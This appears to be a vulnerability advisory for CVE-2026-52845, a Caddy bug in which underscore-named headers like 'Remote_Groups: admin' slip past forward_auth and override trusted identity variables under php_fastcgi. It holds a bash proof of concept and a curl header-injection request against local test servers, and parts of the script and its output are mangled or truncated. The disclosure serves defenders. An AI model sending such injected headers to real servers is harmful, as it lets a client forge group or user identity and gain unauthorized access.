CVE-2026-52845
Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`
Summary
### Summary `forward_auth copy_headers` deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through `php_fastcgi`, Caddy normalizes HTTP headers into CGI variables by replacing `-` with `_`. This lets a client send an underscore alias that survives the `forward_auth` delete step but becomes the same PHP/FastCGI variable: ```text Remote-Groups -> HTTP_REMOTE_GROUPS Remote_Groups -> HTTP_REMOTE_GROUPS Remote-User -> HTTP_REMOTE_USER Remote_User -> HTTP_REMOTE_USER ``` Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy. ### Details `forward_auth copy_headers` intentionally removes client-controlled headers before setting values from the auth response: - `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212` - `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222` That delete is exact-field deletion through `http.Header.Del()`: - `modules/caddyhttp/headers/headers.go:255` - `modules/caddyhttp/headers/headers.go:281` So deleting `Remote-Groups` does not delete `Remote_Groups`. Later, FastCGI exports all request headers into CGI variables: - `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410` - `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414` - `modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510` The normalizer replaces hyphens with underscores: ```go strings.NewReplacer(" ", "_", "-", "_") ``` So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace. This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export. ### PoC Run from the Caddy repository root with `bash`: ```bash set -euo pipefail tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX) mkdir -p "$tmpdir/www" printf ' \n' > "$tmpdir/www/index.php" cat > "$tmpdir/servers.go" "$tmpdir/Caddyfile" /dev/null || true } trap cleanup EXIT go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 & servers_pid=$! for i in $(seq 1 80); do if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 && (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then break fi sleep 0.25 done go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 & caddy_pid=$! for i in $(seq 1 80); do if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then break fi sleep 0.25 done curl --noproxy '*' -v http://127.0.0.1:9082/index.php curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php cat "$tmpdir/caddy.log" ``` Observed on commit `6c675e29f87cbe7326983ddb6d739175119d394c`: Baseline: ```text > GET /index.php HTTP/1.1 GET /
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| Go | github.com/caddyserver/caddy/v2 | — | 2.11.4 |
| Go | github.com/caddyserver/caddy | — | — |
Remediation: Upgrade to 2.11.4 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.
CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.
EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.